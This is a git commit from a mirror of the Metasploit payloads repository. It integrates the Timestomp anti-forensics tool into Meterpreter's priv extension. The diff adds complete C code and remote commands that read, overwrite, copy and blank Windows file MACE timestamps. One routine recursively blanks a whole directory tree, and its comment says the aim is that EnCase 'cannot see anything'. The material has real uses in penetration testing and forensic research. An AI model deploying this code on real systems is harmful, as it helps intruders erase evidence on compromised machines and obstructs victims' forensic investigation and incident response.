1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-05-06 16:09:38 +02:00

timestomp integration

git-svn-id: file:///home/svn/incoming/trunk@3219 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Matt Miller 2005-12-14 00:34:05 +00:00
parent eb621baaf2
commit ecd0afd28b
7 changed files with 726 additions and 0 deletions
c/meterpreter
source/extensions/priv
workspace/ext_server_priv

@ -12,4 +12,35 @@
TLV_TYPE_EXTENSION_PRIV, \
TLV_EXTENSIONS + 1)
#define TLV_TYPE_FS_FILE_MODIFIED \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_PRIV, \
TLV_EXTENSIONS + 100)
#define TLV_TYPE_FS_FILE_ACCESSED \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_PRIV, \
TLV_EXTENSIONS + 101)
#define TLV_TYPE_FS_FILE_CREATED \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_PRIV, \
TLV_EXTENSIONS + 102)
#define TLV_TYPE_FS_FILE_EMODIFIED \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_PRIV, \
TLV_EXTENSIONS + 103)
#define TLV_TYPE_FS_FILE_PATH \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_STRING, \
TLV_TYPE_EXTENSION_PRIV, \
TLV_EXTENSIONS + 110)
#define TLV_TYPE_FS_SRC_FILE_PATH \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_STRING, \
TLV_TYPE_EXTENSION_PRIV, \
TLV_EXTENSIONS + 111)
#endif

@ -0,0 +1,245 @@
#include "precomp.h"
// Import code from timestomp
#include "timestomp.c"
#define EpochTimeToSystemTime(epoch, sys) \
{ \
struct tm *et = localtime(&epoch); \
memset(sys, 0, sizeof(SYSTEMTIME)); \
(sys)->wYear = et->tm_year + 1900; \
(sys)->wMonth = et->tm_mon + 1; \
(sys)->wDay = et->tm_mday; \
(sys)->wHour = et->tm_hour; \
(sys)->wMinute = et->tm_min; \
(sys)->wSecond = et->tm_sec; \
}
#define SystemTimeToEpochTime(sys, epoch) \
{ \
struct tm et; \
memset(&et, 0, sizeof(et)); \
et.tm_year = (sys)->wYear - 1900; \
et.tm_mon = (sys)->wMonth -1; \
et.tm_mday = (sys)->wDay; \
et.tm_hour = (sys)->wHour; \
et.tm_min = (sys)->wMinute; \
et.tm_sec = (sys)->wSecond; \
*(epoch) = mktime(&et); \
}
DWORD request_fs_get_file_mace(Remote *remote, Packet *packet)
{
FILE_BASIC_INFORMATION fbi;
SYSTEMTIME lt;
Packet *response = packet_create_response(packet);
HANDLE file = NULL;
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
struct {
LARGE_INTEGER *ft;
unsigned long tlv;
} fields[] = {
{ &fbi.LastWriteTime, TLV_TYPE_FS_FILE_MODIFIED },
{ &fbi.LastAccessTime, TLV_TYPE_FS_FILE_ACCESSED },
{ &fbi.CreationTime, TLV_TYPE_FS_FILE_CREATED },
{ &fbi.ChangeTime, TLV_TYPE_FS_FILE_EMODIFIED },
};
int x;
do
{
// Invalid file path, bail.
if (!filePath)
{
SetLastError(ERROR_INVALID_PARAMETER);
break;
}
// If we fail to retrieve basic information, bail.
if (!(file = RetrieveFileBasicInformation(filePath, &fbi)))
break;
// Convert the time for each field
for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++)
{
time_t epoch = 0;
if (ConvertLargeIntegerToLocalTime(&lt, *fields[x].ft) != 1)
break;
SystemTimeToEpochTime(&lt, &epoch);
packet_add_tlv_uint(response, fields[x].tlv, epoch);
}
SetLastError(ERROR_SUCCESS);
} while (0);
// Close the file handle.
if (file)
CloseHandle(file);
packet_transmit_response(GetLastError(), remote, response);
return ERROR_SUCCESS;
}
DWORD request_fs_set_file_mace(Remote *remote, Packet *packet)
{
FILE_BASIC_INFORMATION fbi;
Packet *response = packet_create_response(packet);
HANDLE file = NULL;
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
struct {
LARGE_INTEGER *ft;
unsigned long tlv;
} fields[] = {
{ &fbi.LastWriteTime, TLV_TYPE_FS_FILE_MODIFIED },
{ &fbi.LastAccessTime, TLV_TYPE_FS_FILE_ACCESSED },
{ &fbi.CreationTime, TLV_TYPE_FS_FILE_CREATED },
{ &fbi.ChangeTime, TLV_TYPE_FS_FILE_EMODIFIED },
};
int x;
do
{
// Invalid file path, bail.
if (!filePath)
{
SetLastError(ERROR_INVALID_PARAMETER);
break;
}
// If we fail to retrieve basic information, bail.
if (!(file = RetrieveFileBasicInformation(filePath, &fbi)))
break;
// If the TLV for the associated field is supplied, update it.
for (x = 0; x < (sizeof(fields) / sizeof(fields[0])); x++)
{
SYSTEMTIME st;
unsigned long epoch = packet_get_tlv_value_uint(packet, fields[x].tlv);
if (!epoch)
continue;
EpochTimeToSystemTime(epoch, &st);
// Conversion failed, that sucks.
if (ConvertLocalTimeToLargeInteger(st, fields[x].ft) == 0)
break;
}
// If we fail to set the MACE, bail.
if (SetFileMACE(file, fbi) == 0)
break;
SetLastError(ERROR_SUCCESS);
} while (0);
// Close the file handle.
if (file)
CloseHandle(file);
packet_transmit_response(GetLastError(), remote, response);
return ERROR_SUCCESS;
}
DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet)
{
FILE_BASIC_INFORMATION fbi;
Packet *response = packet_create_response(packet);
PCHAR tgtFilePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
PCHAR srcFilePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_SRC_FILE_PATH);
HANDLE srcFile = NULL, tgtFile = NULL;
ULONG attributes;
do
{
// Are we missing something?
if (!tgtFilePath || !srcFilePath)
{
SetLastError(ERROR_INVALID_PARAMETER);
break;
}
// Get info.
if (!(tgtFile = RetrieveFileBasicInformation(tgtFilePath, &fbi)))
break;
attributes = fbi.FileAttributes;
if (!(srcFile = RetrieveFileBasicInformation(srcFilePath, &fbi)))
break;
fbi.FileAttributes = attributes;
if (SetFileMACE(tgtFile, fbi) == 0)
break;
SetLastError(ERROR_SUCCESS);
} while (0);
if (srcFile)
CloseHandle(srcFile);
if (tgtFile)
CloseHandle(tgtFile);
packet_transmit_response(GetLastError(), remote, response);
return ERROR_SUCCESS;
}
DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
do
{
// Are we missing something?
if (!filePath)
{
SetLastError(ERROR_INVALID_PARAMETER);
break;
}
if (SetMinimumTimeValues(filePath) == 0)
break;
SetLastError(ERROR_SUCCESS);
} while (0);
packet_transmit_response(GetLastError(), remote, response);
return ERROR_SUCCESS;
}
DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FS_FILE_PATH);
do
{
// Are we missing something?
if (!filePath)
{
SetLastError(ERROR_INVALID_PARAMETER);
break;
}
if (TheCraigOption(filePath) == 0)
break;
SetLastError(ERROR_SUCCESS);
} while (0);
packet_transmit_response(GetLastError(), remote, response);
return ERROR_SUCCESS;
}

@ -0,0 +1,10 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_FS_H
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_FS_H
DWORD request_fs_get_file_mace(Remote *remote, Packet *packet);
DWORD request_fs_set_file_mace(Remote *remote, Packet *packet);
DWORD request_fs_set_file_mace_from_file(Remote *remote, Packet *packet);
DWORD request_fs_blank_file_mace(Remote *remote, Packet *packet);
DWORD request_fs_blank_directory_mace(Remote *remote, Packet *packet);
#endif

@ -4,6 +4,7 @@
#define _WIN32_WINNT 0x0400
#include "../priv.h"
#include "passwd.h"
#include "fs.h"
#define strcasecmp stricmp

@ -11,6 +11,28 @@ Command customCommands[] =
{ EMPTY_DISPATCH_HANDLER },
},
// Fs
{ "priv_fs_get_file_mace",
{ request_fs_get_file_mace, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "priv_fs_set_file_mace",
{ request_fs_set_file_mace, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "priv_fs_set_file_mace_from_file",
{ request_fs_set_file_mace_from_file, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "priv_fs_blank_file_mace",
{ request_fs_blank_file_mace, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "priv_fs_blank_directory_mace",
{ request_fs_blank_directory_mace, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },

@ -0,0 +1,405 @@
/*
Copyright (C) 2005 Vincent Liu
This file is part of Timestomp
Timestomp is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
// #######################################################################
// ############ HEADER FILES
// #######################################################################
#include <windows.h>
#include <stdio.h>
// #######################################################################
// ############ DEFINITIONS
// #######################################################################
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define FILE_NON_DIRECTORY_FILE 0x00000040
typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef enum _FILE_INFORMATION_CLASS {
FileBasicInformation = 4,
FileStandardInformation = 5,
FilePositionInformation = 14,
FileEndOfFileInformation = 20,
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;
typedef struct _FILE_BASIC_INFORMATION {
LARGE_INTEGER CreationTime; // Created
LARGE_INTEGER LastAccessTime; // Accessed
LARGE_INTEGER LastWriteTime; // Modifed
LARGE_INTEGER ChangeTime; // Entry Modified
ULONG FileAttributes;
} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION;
typedef NTSTATUS (WINAPI *pNtQueryInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
typedef NTSTATUS (WINAPI *pNtSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS);
DWORD ParseDateTimeInput(char *inputstring, SYSTEMTIME *systemtime);
HANDLE RetrieveFileBasicInformation(char *filename, FILE_BASIC_INFORMATION *fbi);
DWORD ConvertLocalTimeToLargeInteger(SYSTEMTIME localsystemtime, LARGE_INTEGER *largeinteger);
DWORD ConvertLargeIntegerToLocalTime(SYSTEMTIME *localsystemtime, LARGE_INTEGER largeinteger);
DWORD SetFileMACE(HANDLE file, FILE_BASIC_INFORMATION fbi);
DWORD InputHandler(int argc, char **argv);
void PrintSystemTime(SYSTEMTIME systime);
void Usage();
// #######################################################################
// ############ FUNCTIONS
// #######################################################################
/* returns 0 on error, 1 on success. this function set the MACE values based on
the input from the FILE_BASIC_INFORMATION structure */
DWORD SetFileMACE(HANDLE file, FILE_BASIC_INFORMATION fbi) {
HANDLE ntdll = NULL;
IO_STATUS_BLOCK iostatus;
pNtSetInformationFile NtSetInformationFile = NULL;
ntdll = LoadLibrary("ntdll.dll");
if (ntdll == NULL) {
return 0;
}
NtSetInformationFile = (pNtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile");
if (NtSetInformationFile == NULL) {
return 0;
}
if (NtSetInformationFile(file, &iostatus, &fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) {
return 0;
}
/* clean up */
FreeLibrary(ntdll);
return 1;
}
/* returns the handle on success or NULL on failure. this function opens a file and returns
the FILE_BASIC_INFORMATION on it. */
HANDLE RetrieveFileBasicInformation(char *filename, FILE_BASIC_INFORMATION *fbi) {
HANDLE file = NULL;
HANDLE ntdll = NULL;
pNtQueryInformationFile NtQueryInformationFile = NULL;
IO_STATUS_BLOCK iostatus;
file = CreateFile(filename, FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES, 0, NULL, OPEN_EXISTING, 0, NULL);
if (file == INVALID_HANDLE_VALUE) {
return 0;
}
/* load ntdll and retrieve function pointer */
ntdll = LoadLibrary("ntdll.dll");
if (ntdll == NULL) {
CloseHandle(file);
return 0;
}
/* retrieve current timestamps including file attributes which we want to preserve */
NtQueryInformationFile = (pNtQueryInformationFile)GetProcAddress(ntdll, "NtQueryInformationFile");
if (NtQueryInformationFile == NULL) {
CloseHandle(file);
return 0;
}
/* obtain the current file information including attributes */
if (NtQueryInformationFile(file, &iostatus, fbi, sizeof(FILE_BASIC_INFORMATION), FileBasicInformation) < 0) {
CloseHandle(file);
return 0;
}
/* clean up */
FreeLibrary(ntdll);
return file;
}
// returns 0 on error, 1 on success. this function converts a SYSTEMTIME structure to a LARGE_INTEGER
DWORD ConvertLocalTimeToLargeInteger(SYSTEMTIME localsystemtime, LARGE_INTEGER *largeinteger) {
// the local time is stored in the system time structure argument which should be from the user
// input. the user inputs the times in local time which is then converted to utc system time because
// ntfs stores all timestamps in utc, which is then converted to a large integer
// MSDN recommends converting SYSTEMTIME to FILETIME via SystemTimeToFileTime() and
// then copying the values in FILETIME to a ULARGE_INTEGER structure.
FILETIME filetime;
FILETIME utcfiletime;
DWORD result = 0;
/*
result = GetTimeZoneInformation(&timezone);
if (result == TIME_ZONE_ID_INVALID) {
printf("Error: Could not obtain the local time zone information.\n");
return 0;
}
if (TzSpecificLocalTimeToSystemTime(&timezone, &localsystemtime, &utcsystemtime) == 0) {
printf("Error: Couldn't convert local time to UTC time.\n");
return 0;
}
*/
// convert the SYSTEMTIME structure to a FILETIME structure
if (SystemTimeToFileTime(&localsystemtime, &filetime) == 0) {
return 0;
}
// convert the local file time to UTC
if (LocalFileTimeToFileTime(&filetime, &utcfiletime) == 0) {
return 0;
}
/* copying lowpart from a DWORD to DWORD, and copying highpart from a DWORD to a LONG.
potential data loss of upper values 2^16, but acceptable bc we wouldn't be able to set
this high even if we wanted to because NtSetInformationFile() takes a max of what's
provided in LARGE_INTEGER */
largeinteger->LowPart = utcfiletime.dwLowDateTime;
largeinteger->HighPart = utcfiletime.dwHighDateTime;
return 1;
}
/* returns 0 on error, 1 on success. this function converts a LARGE_INTEGER to a SYSTEMTIME structure */
DWORD ConvertLargeIntegerToLocalTime(SYSTEMTIME *localsystemtime, LARGE_INTEGER largeinteger) {
FILETIME filetime;
FILETIME localfiletime;
DWORD result = 0;
filetime.dwLowDateTime = largeinteger.LowPart;
filetime.dwHighDateTime = largeinteger.HighPart;
if (FileTimeToLocalFileTime(&filetime, &localfiletime) == 0) {
return 0;
}
if (FileTimeToSystemTime(&localfiletime, localsystemtime) == 0) {
return 0;
}
/*
result = GetTimeZoneInformation(&timezone);
if (result == TIME_ZONE_ID_INVALID) {
printf("Error: Could not obtain the local time zone information.\n");
return 0;
}
if (SystemTimeToTzSpecificLocalTime(&timezone, &utcsystemtime, localsystemtime) == 0) {
printf("Error: Couldn't convert UTC time to local time.\n");
return 0;
}
*/
return 1;
}
/* returns 1 on success or 0 on failure. this function converts an input string into a SYSTEMTIME structure */
DWORD ParseDateTimeInput(char *inputstring, SYSTEMTIME *systemtime) {
char day[10];
char daynight[3];
if (sscanf(inputstring, "%9s %hu/%hu/%hu %hu:%hu:%hu %2s", day, &systemtime->wMonth, &systemtime->wDay, &systemtime->wYear, &systemtime->wHour, &systemtime->wMinute, &systemtime->wSecond, daynight) == 0) {
return 0;
}
/* sanitize input */
if (strlen(day) > 0) {
CharLower(day);
} else {
return 0;
}
do {
if (day[0] == 'm') { if (strncmp(day, "monday", 6) == 0) { systemtime->wDayOfWeek = 1; break; } }
if (day[0] == 't') { if (strncmp(day, "tuesday", 7) == 0) { systemtime->wDayOfWeek = 2; break; }
if (strncmp(day, "thursday", 8) == 0) { systemtime->wDayOfWeek = 4; break; } }
if (day[0] == 'w') { if (strncmp(day, "wednesday", 9) == 0) { systemtime->wDayOfWeek = 3; break; } }
if (day[0] == 'f') { if (strncmp(day, "friday", 6) == 0) { systemtime->wDayOfWeek = 5; break; } }
if (day[0] == 's') { if (strncmp(day, "saturday", 8) == 0) { systemtime->wDayOfWeek = 6; break; }
if (strncmp(day, "sunday", 6) == 0) { systemtime->wDayOfWeek = 0; break; } }
return 0;
} while (0);
if (systemtime->wMonth < 1 || systemtime->wMonth > 12) {
return 0;
}
if (systemtime->wDay < 1 || systemtime->wDay > 31) {
return 0;
}
if (systemtime->wYear < 1601 || systemtime->wYear > 30827) {
return 0;
}
if (strlen(daynight) > 0) {
CharLower(daynight);
} else {
return 0;
}
if (strncmp(daynight, "am", 2) == 0) {
if (systemtime->wHour < 1 || systemtime->wHour > 12) {
return 0;
}
} else if (strncmp(daynight, "pm", 2) == 0) {
if (systemtime->wHour < 1 || systemtime->wHour > 12) {
return 0;
}
if (systemtime->wHour != 12) { systemtime->wHour += 12; }
} else {
return 0;
}
if(systemtime->wMinute < 0 || systemtime->wMinute > 59) {
return 0;
}
if(systemtime->wSecond < 0 || systemtime->wSecond > 59) {
return 0;
}
/* it doesnt matter what the millisecond value is because the ntfs resolution for file timestamps is only up to 1s */
systemtime->wMilliseconds = 0;
return 1;
}
// takes a file a sets the time values to the minimum possible value, return 1 on success or 0 on failure
DWORD SetMinimumTimeValues(char *filename) {
HANDLE file = NULL;
FILE_BASIC_INFORMATION fbi;
SYSTEMTIME userinputtime;
// open the file and retrieve information
file = RetrieveFileBasicInformation(filename, &fbi);
if (file == NULL) {
return 0;
}
userinputtime.wYear = 1601;
userinputtime.wMonth = 1;
userinputtime.wDayOfWeek = 0;
userinputtime.wDay = 1;
userinputtime.wHour = 0;
userinputtime.wMinute = 0;
userinputtime.wSecond = 0;
userinputtime.wMilliseconds = 0;
if ((ConvertLocalTimeToLargeInteger(userinputtime, &fbi.ChangeTime) == 0) || (ConvertLocalTimeToLargeInteger(userinputtime, &fbi.CreationTime) == 0) ||
(ConvertLocalTimeToLargeInteger(userinputtime, &fbi.LastAccessTime) == 0) || (ConvertLocalTimeToLargeInteger(userinputtime, &fbi.LastWriteTime) == 0)) {
return 0;
}
if (SetFileMACE(file, fbi) == 0) { return 0; }
return 1;
}
// this function recursively blanks all files from the specified directory so that EnCase cannot see anything
DWORD TheCraigOption(char *directoryname) {
// general variables
HANDLE file = NULL;
char currentfiletarget[MAX_PATH + 1];
// file search variables
HANDLE find = INVALID_HANDLE_VALUE;
WIN32_FIND_DATA FindFileData;
char fulldirectorypath[MAX_PATH + 1];
// set the target directories
strncpy(fulldirectorypath, directoryname, strlen(directoryname)+1);
strncat(fulldirectorypath, "\\*", 3);
// search the directory
find = FindFirstFile(fulldirectorypath, &FindFileData);
if (find == INVALID_HANDLE_VALUE) {
if (GetLastError() == 5) { // access denied
return 1;
}
return 0;
}
// recursively call TheCraigOption if the file type is a directory
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if ((strncmp(FindFileData.cFileName, ".", 1) != 0) && (strncmp(FindFileData.cFileName, "..", 2) != 0)) {
strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
strncat(currentfiletarget, "\\", 2);
strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
if (TheCraigOption(currentfiletarget) == 0) {
return 0;
}
}
} else {
// set the full file name and lower the time values
strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
strncat(currentfiletarget, "\\", 2);
strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
if (SetMinimumTimeValues(currentfiletarget) == 0) {
//return 0;
}
}
// recursively set all values
while (FindNextFile(find, &FindFileData) != 0) {
// recursively call TheCraigOption if the file type is a directory
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
if ((strncmp(FindFileData.cFileName, ".", 1) != 0) && (strncmp(FindFileData.cFileName, "..", 2) != 0)) {
strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
strncat(currentfiletarget, "\\", 2);
strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
if (TheCraigOption(currentfiletarget) == 0) {
return 0;
}
}
} else {
// set the full file name and lower the time values
strncpy(currentfiletarget, directoryname, strlen(directoryname) + 1);
strncat(currentfiletarget, "\\", 2);
strncat(currentfiletarget, FindFileData.cFileName, strlen(FindFileData.cFileName));
if (SetMinimumTimeValues(currentfiletarget) == 0) {
//return 0;
}
}
}
// cleanup find data structures
if (FindClose(find) == 0) {
return 0;
}
if (GetLastError() != ERROR_NO_MORE_FILES) {
if (GetLastError() == 5) { // access denied
return 1;
}
return 0;
}
return 1;
}

@ -102,6 +102,18 @@ SOURCE=..\..\source\extensions\priv\server\passwd.c
SOURCE=..\..\source\extensions\priv\server\passwd.h
# End Source File
# End Group
# Begin Group "Fs"
# PROP Default_Filter ""
# Begin Source File
SOURCE=..\..\source\extensions\priv\server\fs.c
# End Source File
# Begin Source File
SOURCE=..\..\source\extensions\priv\server\fs.h
# End Source File
# End Group
# Begin Source File
SOURCE=..\..\source\extensions\priv\server\precomp.h